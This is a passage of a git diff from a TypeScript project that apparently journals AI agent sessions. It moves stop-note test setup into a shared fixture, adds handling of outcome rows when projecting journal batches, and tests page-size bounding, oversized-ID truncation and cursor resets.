itemId: HUGE_ITEM_ID, revision: 2, seq: seq + 2 } - ]) - - for (const sequence of [seq, seq + 1]) { - const result = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor: { epoch: reopened.epoch, sequence }, - limit: 40 - }) - expect(result.ok).toBe(false) - if (result.ok) { - throw new Error('expected a reset') - } - expect(result.reset).toBe('cursor_compacted') - expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - // Reset replaces client state without sending an unsendable removal ID. - expect(result.page.items).toEqual([]) - const liveCursor = result.page.liveCursor - if (!liveCursor) { - throw new Error('expected a live cursor on the reset page') - } - expect(liveCursor.sequence).toBeGreaterThanOrEqual(seq + 2) - - const resumed = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor: liveCursor, - limit: 40 - }) - expect(resumed.ok).toBe(true) - } - }) - - it('charges removal ids into the page budget and splits catch-up instead of overflowing', async () => { - const seq = journal.cursor().sequence - const removalIds = Array.from( - { length: 30 }, - (_, index) => `codex:thread-1:${'r'.repeat(250 * 1024)}:${index}` - ) - const reopened = await reopenWithRawRows( - removalIds.map((itemId, index) => ({ - kind: 'tombstone' as const, - itemId, - revision: 1, - seq: seq + 1 + index - })) - ) - - const seen = new Set() - let cursor = { epoch: reopened.epoch, sequence: seq } - let guard = 0 - while (true) { - guard += 1 - expect(guard).toBeLessThan(30) - const result = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor, - limit: 40 - }) - if (!result.ok) { - throw new Error(`expected a page, got reset ${result.reset}`) - } - expect(serializedPageBytes(result.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - for (const removed of result.page.removedItemIds) { - seen.add(removed) - } - cursor = result.page.window.nextCursor - if (!result.page.hasNewer) { - break - } - } - expect(seen).toEqual(new Set(removalIds)) - }) - - it('bounds the truncation marker id for a live oversized-id item', async () => { - const seq = journal.cursor().sequence - const reopened = await reopenWithRawRows([ - { kind: 'item', itemId: HUGE_ITEM_ID, revision: 1, seq: seq + 1, body: body('big') } - ]) - - const tail = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'tail', - limit: 40 - }) - if (!tail.ok) { - throw new Error(`expected a page, got reset ${tail.reset}`) - } - expect(serializedPageBytes(tail.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(tail.page.items).toHaveLength(1) - const marker = tail.page.items[0] - expect(marker?.body.kind).toBe('status') - expect(marker?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) - expect(marker?.itemId.length).toBeLessThan(2048) - - const forward = readAgentSessionHistory(reopened, { - sessionId: 'session-1', - direction: 'after', - cursor: { epoch: reopened.epoch, sequence: seq }, - limit: 40 - }) - if (!forward.ok) { - throw new Error(`expected a page, got reset ${forward.reset}`) - } - expect(serializedPageBytes(forward.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(forward.page.items[0]?.itemId).toBe(boundJournalKeyComponent(HUGE_ITEM_ID)) - }) -}) - -describe('identity bounding at admission', () => { - it('bounds a new oversized provider identity so its item and removal share one sendable key', async () => { - const oversized: AgentJournalItemIdentity = { - provider: 'codex', - threadId: 'thread-1', - turnId: 'T'.repeat(5 * 1024 * 1024), - ordinal: 1 - } - const start = { epoch: journal.epoch, sequence: journal.cursor().sequence } - const appended = await journal.appendItem(oversized, body('bounded'), { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - expect(appended.itemId.length).toBeLessThan(2048) - expect(appended.itemId).toContain('~orca-oversized~') - - const beforeTombstone = journal.cursor() - await journal.appendTombstone(oversized, { fence: 1 }) - - const created = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: start, - limit: 40 - }) - if (!created.ok) { - throw new Error(`expected a page, got reset ${created.reset}`) - } - expect(serializedPageBytes(created.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(created.page.removedItemIds).toEqual([appended.itemId]) - - const removal = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: beforeTombstone, - limit: 40 - }) - if (!removal.ok) { - throw new Error(`expected a page, got reset ${removal.reset}`) - } - expect(serializedPageBytes(removal.page)).toBeLessThanOrEqual( - REMOTE_RUNTIME_MAX_OUTBOUND_JSON_BYTES - ) - expect(removal.page.removedItemIds).toEqual([appended.itemId]) - }) - - it('keeps bounded keys deterministic and a fixed point of re-derivation', () => { - const oversized = 'x'.repeat(2 * 1024 * 1024) - const bounded = boundJournalKeyComponent(oversized) - expect(bounded).toBe(boundJournalKeyComponent(oversized)) - expect(boundJournalKeyComponent(bounded)).toBe(bounded) - expect(bounded.length).toBeLessThan(2048) - expect(boundJournalKeyComponent(`${oversized}y`)).not.toBe(bounded) - expect(boundJournalKeyComponent('short')).toBe('short') - }) -}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts b/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts index b0e169ce6b7..cf385869ec3 100644 --- a/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts +++ b/src/main/native-chat/agent-session-wire/agent-session-journal-batch.ts @@ -10,10 +10,8 @@ import type { import type { AgentSessionJournalBatch } from '../../../shared/agent-session-wire' import { isStructuredAgentSessionStopNote } from './structured-agent-session-command-turn' import { findSequenceGap } from '../agent-session-journal/journal-cursor' -import { - isJournalStopOrResumeRow, - type JournalRow -} from '../agent-session-journal/journal-row-schema' +import type { JournalReadRow } from '../agent-session-journal/journal-read-row' +import { isJournalStopOrResumeRow } from '../agent-session-journal/journal-row-schema' export type JournalBatchProjection = | { ok: true; batch: AgentSessionJournalBatch } @@ -21,22 +19,34 @@ export type JournalBatchProjection = | { ok: false; reset: 'journal_gap' } export function projectJournalBatch(input: { - rows: readonly JournalRow[] + rows: readonly JournalReadRow[] snapshot: AgentJournalSnapshot afterSequence: number canonicalItemId?: (itemId: string) => string }): JournalBatchProjection { - const gap = findSequenceGap( - input.rows.map((row) => row.seq), - input.afterSequence + 1 - ) - if (gap) { + if ( + input.rows.every((row) => row.kind !== 'outcome') && + findSequenceGap( + input.rows.map((row) => row.seq), + input.afterSequence + 1 + ) + ) { return { ok: false, reset: 'journal_gap' } } const aliases = submissionAliases(input.snapshot.submissions) const touchedItemIds = new Set() const touchedClientMessageIds = new Set() for (const row of input.rows) { + if (row.kind === 'outcome') { + for (const itemId of row.itemIds) { + touchedItemIds.add(input.canonicalItemId?.(itemId) ?? aliases.get(itemId) ?? itemId) + } + for (const clientMessageId of row.submissionIds) { + touchedClientMessageIds.add(clientMessageId) + touchedItemIds.add(agentJournalSubmissionKey(clientMessageId)) + } + continue + } if (row.kind === 'lifecycle-batch') { for (const mutation of row.mutations) { touchedItemIds.add( diff --git a/src/main/native-chat/agent-session-wire/agent-session-stop-note-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/agent-session-stop-note-contract-test-fixture.ts new file mode 100644 index 00000000000..548fb9143d1 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-stop-note-contract-test-fixture.ts @@ -0,0 +1,102 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalItemBody, + type AgentJournalTurnLifecycle +} from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { structuredAgentSessionStopNoteIdentity } from './structured-agent-session-command-turn' + +export const journals = createTrackedJournalOpener() + +export const turnIdentity = { provider: 'orca', clientMessageId: 'turn-1' } as const + +export const turnItemId = agentJournalItemKey(turnIdentity) + +export const noteIdentity = structuredAgentSessionStopNoteIdentity('turn-1') + +export const noteId = agentJournalItemKey(noteIdentity) + +export const scope = { kind: 'turn', turnItemId } as const + +export const unconfirmed: AgentJournalItemBody = { + kind: 'status', + ...agentSessionFailureWords(agentSessionFailureFact('cancelUnconfirmed'), { surface: 'row' }), + tone: 'error', + presentation: 'error' +} + +export const ordinary = { kind: 'status', text: 'Cancellation requested.' } + +let root: string + +let journal: AgentSessionJournal + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-stop-note-projection-')) + journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory: root + }) +}) + +afterEach(async () => { + await journals.closeAll() + await rm(root, { recursive: true, force: true }) +}) + +export async function turn(state: AgentJournalTurnLifecycle['state'], legacy = false) { + const lifecycle: AgentJournalTurnLifecycle = { turnId: 'turn-1', state } + await journal.appendItem( + turnIdentity, + legacy + ? { kind: 'status', text: 'Turn ended', turnLifecycle: lifecycle } + : { kind: 'turn', ...lifecycle }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) +} + +export async function note(body: AgentJournalItemBody = unconfirmed) { + await journal.appendItem(noteIdentity, body, { fence: 1, turnScope: scope }) +} + +export function readNote() { + return journal.snapshot().items.find((item) => item.itemId === noteId)! +} + +export function rows() { + const result = journal.readSince({ epoch: journal.epoch, sequence: 0 }) + if (!result.ok) { + throw new Error(result.reset) + } + return result.rows +} + +export const fixture = { + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + } +} diff --git a/src/main/native-chat/agent-session-wire/agent-session-stop-note-paging.test.ts b/src/main/native-chat/agent-session-wire/agent-session-stop-note-paging.test.ts new file mode 100644 index 00000000000..e70fb89fa7b --- /dev/null +++ b/src/main/native-chat/agent-session-wire/agent-session-stop-note-paging.test.ts @@ -0,0 +1,138 @@ +import { expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' +import { readAgentSessionHistory } from './agent-session-history-page' +import { AgentSessionSubscribers } from './structured-agent-session-subscribers' +import { structuredAgentSessionStopNoteIdentity } from './structured-agent-session-command-turn' +import { HISTORY_PAGE_CONTENT_BUDGET_BYTES } from './agent-session-history-page-bounds' +import { MOBILE_BRIDGE_MAX_FRAME_BYTES } from '../../../shared/mobile-bridge-frame-bytes' + +import { + fixture, + note, + noteId, + ordinary, + rows, + scope, + turn, + unconfirmed +} from './agent-session-stop-note-contract-test-fixture' + +it('shrinks the triggering row window without dropping the dependent note', async () => { + await turn('running') + await note() + const held = fixture.journal.cursor() + const large = { + kind: 'message', + role: 'assistant', + blocks: [ + { type: 'text', text: 'x'.repeat(Math.floor(HISTORY_PAGE_CONTENT_BUDGET_BYTES * 0.6)) } + ] + } as const + for (const clientMessageId of ['large-1', 'large-2']) { + await fixture.journal.appendItem( + { provider: 'orca', clientMessageId }, + { ...large, blocks: [...large.blocks] }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } + await turn('interrupted') + const first = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: held, + limit: 3 + }) + if (!first.ok) { + throw new Error(first.reset) + } + expect(first.page.hasNewer).toBe(true) + const next = readAgentSessionHistory(fixture.journal, { + sessionId: 'session-1', + direction: 'after', + cursor: first.page.window.nextCursor, + limit: 3 + }) + expect(next).toMatchObject({ + ok: true, + page: { + items: expect.arrayContaining([expect.objectContaining({ itemId: noteId, body: ordinary })]), + window: { nextCursor: fixture.journal.cursor() } + } + }) +}) + +it('refreshes at the exact tip using bounded frames and no durable writes', async () => { + await turn('interrupted') + for (let index = 0; index < 205; index += 1) { + await fixture.journal.appendItem( + structuredAgentSessionStopNoteIdentity(`op-${index}`), + unconfirmed, + { + fence: 1, + turnScope: scope + } + ) + } + const stored = rows() + const events: AgentSessionSubscribeEvent[] = [] + new AgentSessionSubscribers().open({ + id: 'reconnect', + sessionId: 'session-1', + journal: fixture.journal, + fence: 1, + cursor: fixture.journal.cursor(), + emit: (event) => events.push(event) + }) + const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) + expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) + expect( + batches.every( + (batch) => + batch.items.length <= 200 && + Buffer.byteLength(JSON.stringify(batch), 'utf8') < HISTORY_PAGE_CONTENT_BUDGET_BYTES && + batch.cursor.sequence === fixture.journal.cursor().sequence + ) + ).toBe(true) + expect( + batches + .flatMap((batch) => batch.items) + .every( + (item) => + item.body.kind === 'status' && item.body.text === ordinary.text && !item.body.failure + ) + ).toBe(true) + expect(rows()).toEqual(stored) +}) + +it('refreshes a phone within its frames, in bounded pages', async () => { + await turn('interrupted') + for (let index = 0; index < 205; index += 1) { + await fixture.journal.appendItem( + structuredAgentSessionStopNoteIdentity(`op-${index}`), + unconfirmed, + { + fence: 1, + turnScope: scope + } + ) + } + const events: AgentSessionSubscribeEvent[] = [] + new AgentSessionSubscribers().open({ + id: 'phone', + sessionId: 'session-1', + journal: fixture.journal, + fence: 1, + cursor: fixture.journal.cursor(), + emit: (event) => events.push(event), + boundedFrames: true + }) + const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) + expect(batches.filter((batch) => batch.items.length > 0)).toHaveLength(2) + expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) + for (const event of events) { + expect(Buffer.byteLength(JSON.stringify(event), 'utf8')).toBeLessThan( + MOBILE_BRIDGE_MAX_FRAME_BYTES + ) + } +}) diff --git a/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts b/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts index 844b1a625b2..35393c9aae3 100644 --- a/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts +++ b/src/main/native-chat/agent-session-wire/agent-session-stop-note-projection.test.ts @@ -1,88 +1,32 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it } from 'vitest' +import { expect, it } from 'vitest' import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' import { agentSessionFailureFact } from '../../../shared/agent-session-failure' import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' import { AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalItemBody, - type AgentJournalTurnLifecycle + type AgentJournalItemBody } from '../../../shared/agent-session-journal-types' -import type { AgentSessionSubscribeEvent } from '../../../shared/agent-session-wire' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -import { createTrackedJournalOpener } from '../agent-session-journal/journal-host-database-test-support' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { - applyJournalRow, - createJournalReducerState, - renderJournalState -} from '../agent-session-journal/journal-reducer' +import { restoreJournal } from '../agent-session-journal/journal-open' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { renderJournalState } from '../agent-session-journal/journal-reducer' import { projectJournalBatch } from './agent-session-journal-batch' import { readAgentSessionHistory } from './agent-session-history-page' -import { AgentSessionSubscribers } from './structured-agent-session-subscribers' import { structuredAgentSessionStopNoteIdentity } from './structured-agent-session-command-turn' -import { HISTORY_PAGE_CONTENT_BUDGET_BYTES } from './agent-session-history-page-bounds' -import { MOBILE_BRIDGE_MAX_FRAME_BYTES } from '../../../shared/mobile-bridge-frame-bytes' -const journals = createTrackedJournalOpener() -const turnIdentity = { provider: 'orca', clientMessageId: 'turn-1' } as const -const turnItemId = agentJournalItemKey(turnIdentity) -const noteIdentity = structuredAgentSessionStopNoteIdentity('turn-1') -const noteId = agentJournalItemKey(noteIdentity) -const scope = { kind: 'turn', turnItemId } as const -const unconfirmed: AgentJournalItemBody = { - kind: 'status', - ...agentSessionFailureWords(agentSessionFailureFact('cancelUnconfirmed'), { surface: 'row' }), - tone: 'error', - presentation: 'error' -} -const ordinary = { kind: 'status', text: 'Cancellation requested.' } -let root: string -let journal: AgentSessionJournal - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-stop-note-projection-')) - journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: root - }) -}) -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) -}) - -async function turn(state: AgentJournalTurnLifecycle['state'], legacy = false) { - const lifecycle: AgentJournalTurnLifecycle = { turnId: 'turn-1', state } - await journal.appendItem( - turnIdentity, - legacy - ? { kind: 'status', text: 'Turn ended', turnLifecycle: lifecycle } - : { kind: 'turn', ...lifecycle }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) -} -async function note(body: AgentJournalItemBody = unconfirmed) { - await journal.appendItem(noteIdentity, body, { fence: 1, turnScope: scope }) -} -function readNote() { - return journal.snapshot().items.find((item) => item.itemId === noteId)! -} -function rows() { - const result = journal.readSince({ epoch: journal.epoch, sequence: 0 }) - if (!result.ok) { - throw new Error(result.reset) - } - return result.rows -} +import { + fixture, + note, + noteId, + noteIdentity, + ordinary, + readNote, + rows, + scope, + turn, + turnIdentity, + turnItemId, + unconfirmed +} from './agent-session-stop-note-contract-test-fixture' it.each([false, true])( 'derives an interrupted turn note without changing any stored row (legacy=%s)', @@ -90,8 +34,8 @@ it.each([false, true])( await turn('running', legacy) await note() const prior = readNote() - const raw = journal.itemBody(noteId) - const held = journal.cursor() + const raw = fixture.journal.itemBody(noteId) + const held = fixture.journal.cursor() await turn('interrupted', legacy) const stored = rows() const projected = readNote() @@ -99,18 +43,19 @@ it.each([false, true])( expect(projected).toEqual({ ...prior, body: ordinary }) expect(projected).not.toBe(prior) expect(readNote()).toBe(projected) - expect(journal.itemBody(noteId)).toBe(raw) + expect(fixture.journal.itemBody(noteId)).toBe(raw) expect(rows()).toEqual(stored) - expect(stored.filter((row) => row.kind === 'item' && row.itemId === noteId)).toHaveLength(1) - const replay = createJournalReducerState('session-1', journal.epoch) - stored.forEach((row) => applyJournalRow(replay, row)) + expect( + stored.filter((row) => row.kind === 'outcome' && row.itemIds.includes(noteId)) + ).toHaveLength(1) + const replay = restoreJournal(openTestJournalHostDatabase(fixture.root).db, 'session-1')!.state expect(replay.items.get(noteId)?.body).toEqual(unconfirmed) expect(renderJournalState(replay).items.find((item) => item.itemId === noteId)?.body).toEqual( ordinary ) const batch = projectJournalBatch({ rows: stored.filter((row) => row.seq > held.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: held.sequence }) expect(batch).toMatchObject({ @@ -133,7 +78,7 @@ it.each(['running', 'completed', 'unverifiable', 'missing'] as const)( await turn(state) } await note() - expect(readNote().body).toBe(journal.itemBody(noteId)) + expect(readNote().body).toBe(fixture.journal.itemBody(noteId)) expect(readNote().body).toEqual(unconfirmed) } ) @@ -145,20 +90,23 @@ it('leaves unrelated failures and non-Stop notes unchanged', async () => { ...agentSessionFailureWords(agentSessionFailureFact('providerExited'), { surface: 'row' }) } await note(failed) - await journal.appendItem({ provider: 'orca', clientMessageId: 'other' }, unconfirmed, { + await fixture.journal.appendItem({ provider: 'orca', clientMessageId: 'other' }, unconfirmed, { fence: 1, turnScope: scope }) - expect(readNote().body).toBe(journal.itemBody(noteId)) - expect(journal.snapshot().items.at(-1)?.body).toEqual(unconfirmed) + expect(readNote().body).toBe(fixture.journal.itemBody(noteId)) + expect(fixture.journal.snapshot().items.at(-1)?.body).toEqual(unconfirmed) }) it('derives the op-keyed note after the retained association write re-keys it onto the turn', async () => { const op = structuredAgentSessionStopNoteIdentity('operation-1') - await journal.appendItem(op, unconfirmed, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await fixture.journal.appendItem(op, unconfirmed, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) await turn('running') - const held = journal.cursor() - await journal.appendLifecycleBatch({ + const held = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ settlementId: 'stop-note-on-turn', fence: 1, mutations: [ @@ -168,17 +116,17 @@ it('derives the op-keyed note after the retained association write re-keys it on }) await turn('interrupted') expect(readNote().body).toEqual(ordinary) - expect(journal.itemBody(noteId)).toEqual(unconfirmed) + expect(fixture.journal.itemBody(noteId)).toEqual(unconfirmed) const batch = projectJournalBatch({ rows: rows().filter((row) => row.seq > held.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: held.sequence }) expect(batch).toMatchObject({ ok: true, batch: { removedItemIds: [agentJournalItemKey(op)] } }) }) it('keeps an operation note unconfirmed when no turn opened before the kill failed', async () => { - await journal.appendItem(noteIdentity, unconfirmed, { + await fixture.journal.appendItem(noteIdentity, unconfirmed, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) @@ -189,8 +137,8 @@ it('keeps an operation note unconfirmed when no turn opened before the kill fail it('re-emits the note for lifecycle turn mutations and restores the raw wording for a turn tombstone', async () => { await turn('running') await note() - const held = journal.cursor() - await journal.appendLifecycleBatch({ + const held = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ settlementId: 'ended', fence: 1, mutations: [ @@ -204,7 +152,7 @@ it('re-emits the note for lifecycle turn mutations and restores the raw wording }) const batch = projectJournalBatch({ rows: rows().filter((row) => row.seq > held.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: held.sequence }) expect(batch).toMatchObject({ @@ -216,15 +164,15 @@ it('re-emits the note for lifecycle turn mutations and restores the raw wording ] } }) - const ended = journal.cursor() - await journal.appendLifecycleBatch({ + const ended = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ settlementId: 'removed', fence: 1, mutations: [{ kind: 'tombstone', identity: turnIdentity }] }) const removed = projectJournalBatch({ rows: rows().filter((row) => row.seq > ended.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: ended.sequence }) expect(removed).toMatchObject({ @@ -239,9 +187,9 @@ it('re-emits the note for lifecycle turn mutations and restores the raw wording it('pages the end with its earlier note and advances by the consumed end row', async () => { await turn('running') await note() - const held = journal.cursor() + const held = fixture.journal.cursor() await turn('interrupted') - const page = readAgentSessionHistory(journal, { + const page = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor: held, @@ -254,11 +202,11 @@ it('pages the end with its earlier note and advances by the consumed end row', a expect.objectContaining({ itemId: turnItemId }), expect.objectContaining({ itemId: noteId, body: ordinary }) ], - window: { nextCursor: journal.cursor() }, + window: { nextCursor: fixture.journal.cursor() }, hasNewer: false } }) - const notePage = readAgentSessionHistory(journal, { + const notePage = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'tail', limit: 1 @@ -271,9 +219,9 @@ it('pages the end with its earlier note and advances by the consumed end row', a it('derives a note page with its ended turn on an earlier page, in either paging direction', async () => { await turn('interrupted') - const held = journal.cursor() + const held = fixture.journal.cursor() await note() - const forward = readAgentSessionHistory(journal, { + const forward = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor: held, @@ -283,18 +231,18 @@ it('derives a note page with its ended turn on an earlier page, in either paging ok: true, page: { items: [expect.objectContaining({ itemId: noteId, body: ordinary })], - window: { nextCursor: journal.cursor() } + window: { nextCursor: fixture.journal.cursor() } } }) - await journal.appendItem( + await fixture.journal.appendItem( { provider: 'orca', clientMessageId: 'later' }, { kind: 'status', text: 'Later' }, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } ) - const backward = readAgentSessionHistory(journal, { + const backward = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'before', - cursor: journal.cursor(), + cursor: fixture.journal.cursor(), limit: 1 }) expect(backward).toMatchObject({ @@ -305,114 +253,3 @@ it('derives a note page with its ended turn on an earlier page, in either paging } }) }) - -it('shrinks the triggering row window without dropping the dependent note', async () => { - await turn('running') - await note() - const held = journal.cursor() - const large = { - kind: 'message', - role: 'assistant', - blocks: [ - { type: 'text', text: 'x'.repeat(Math.floor(HISTORY_PAGE_CONTENT_BUDGET_BYTES * 0.6)) } - ] - } as const - for (const clientMessageId of ['large-1', 'large-2']) { - await journal.appendItem( - { provider: 'orca', clientMessageId }, - { ...large, blocks: [...large.blocks] }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - } - await turn('interrupted') - const first = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: held, - limit: 3 - }) - if (!first.ok) { - throw new Error(first.reset) - } - expect(first.page.hasNewer).toBe(true) - const next = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: first.page.window.nextCursor, - limit: 3 - }) - expect(next).toMatchObject({ - ok: true, - page: { - items: expect.arrayContaining([expect.objectContaining({ itemId: noteId, body: ordinary })]), - window: { nextCursor: journal.cursor() } - } - }) -}) - -it('refreshes at the exact tip using bounded frames and no durable writes', async () => { - await turn('interrupted') - for (let index = 0; index < 205; index += 1) { - await journal.appendItem(structuredAgentSessionStopNoteIdentity(`op-${index}`), unconfirmed, { - fence: 1, - turnScope: scope - }) - } - const stored = rows() - const events: AgentSessionSubscribeEvent[] = [] - new AgentSessionSubscribers().open({ - id: 'reconnect', - sessionId: 'session-1', - journal, - fence: 1, - cursor: journal.cursor(), - emit: (event) => events.push(event) - }) - const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) - expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) - expect( - batches.every( - (batch) => - batch.items.length <= 200 && - Buffer.byteLength(JSON.stringify(batch), 'utf8') < HISTORY_PAGE_CONTENT_BUDGET_BYTES && - batch.cursor.sequence === journal.cursor().sequence - ) - ).toBe(true) - expect( - batches - .flatMap((batch) => batch.items) - .every( - (item) => - item.body.kind === 'status' && item.body.text === ordinary.text && !item.body.failure - ) - ).toBe(true) - expect(rows()).toEqual(stored) -}) - -it('refreshes a phone within its frames, in bounded pages', async () => { - await turn('interrupted') - for (let index = 0; index < 205; index += 1) { - await journal.appendItem(structuredAgentSessionStopNoteIdentity(`op-${index}`), unconfirmed, { - fence: 1, - turnScope: scope - }) - } - const events: AgentSessionSubscribeEvent[] = [] - new AgentSessionSubscribers().open({ - id: 'phone', - sessionId: 'session-1', - journal, - fence: 1, - cursor: journal.cursor(), - emit: (event) => events.push(event), - boundedFrames: true - }) - const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) - expect(batches.filter((batch) => batch.items.length > 0)).toHaveLength(2) - expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) - for (const event of events) { - expect(Buffer.byteLength(JSON.stringify(event), 'utf8')).toBeLessThan( - MOBILE_BRIDGE_MAX_FRAME_BYTES - ) - } -}) diff --git a/src/main/native-chat/agent-session-wire/provider-turn-activity-routing.test.ts b/src/main/native-chat/agent-session-wire/provider-turn-activity-routing.test.ts index 5ff023fb236..0d56726c167 100644 --- a/src/main/native-chat/agent-session-wire/provider-turn-activity-routing.test.ts +++ b/src/main/native-chat/agent-session-wire/provider-turn-activity-routing.test.ts @@ -191,32 +191,6 @@ describe('provider turn activity routing', () => { translator.dispose() }) - it('keeps Codex tool rows singular and the activity free of tool labels', () => { - const state = recordingSink() - const translator = createCodexJournalTranslator({ - sink: state.sink, - primaryThreadId: () => THREAD_ID - }) - translator.handle(codexNotification('turn/started', { turn: { id: TURN_ID } })) - const lifecycleRows = state.rows.length - translator.handle( - codexNotification('item/started', { - turnId: TURN_ID, - item: { - type: 'commandExecution', - id: 'command-1', - command: 'pnpm test', - status: 'inProgress' - } - }) - ) - - expect(state.rows).toHaveLength(lifecycleRows + 1) - expect(state.rows.at(-1)).toMatchObject({ kind: 'tool-call', name: 'shell' }) - expect(state.activities.at(-1)).toEqual({ turnId: TURN_ID, text: 'Running a command' }) - expect(state.activities.at(-1)?.text).not.toContain('pnpm test') - }) - it('routes Claude status frames without creating timeline rows and clears on settlement', () => { const state = recordingSink() const translator = createClaudeJournalTranslator({ sink: state.sink }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-account-recovery.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-account-recovery.ts new file mode 100644 index 00000000000..737ae0602c7 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-account-recovery.ts @@ -0,0 +1,116 @@ +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import type { + AgentJournalRenderItem, + AgentJournalSubmission +} from '../../../shared/agent-session-journal-types' +import { latestNativeChatUsageLimitCut } from '../../../shared/native-chat/native-chat-usage-limit-cut' +import { isAgentSessionContextClear } from '../../../shared/agent-session-context-clear' +import { isRootAgentJournalItem } from '../../../shared/agent-session-journal-producer' +import { isStructuredAgentSessionCommandTurn } from '../../../shared/structured-agent-session-command-entry' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' + +/** Index only the current request window; the canonical cut reader still decides recovery. */ +export class StructuredAccountRecovery { + private readonly groups = new Map>() + private readonly pending = new Map() + private requests: AgentJournalRenderItem[] = [] + private latest: AgentJournalRenderItem | null = null + private building = true + private floor = 0 + + reset(): void { + this.groups.clear() + 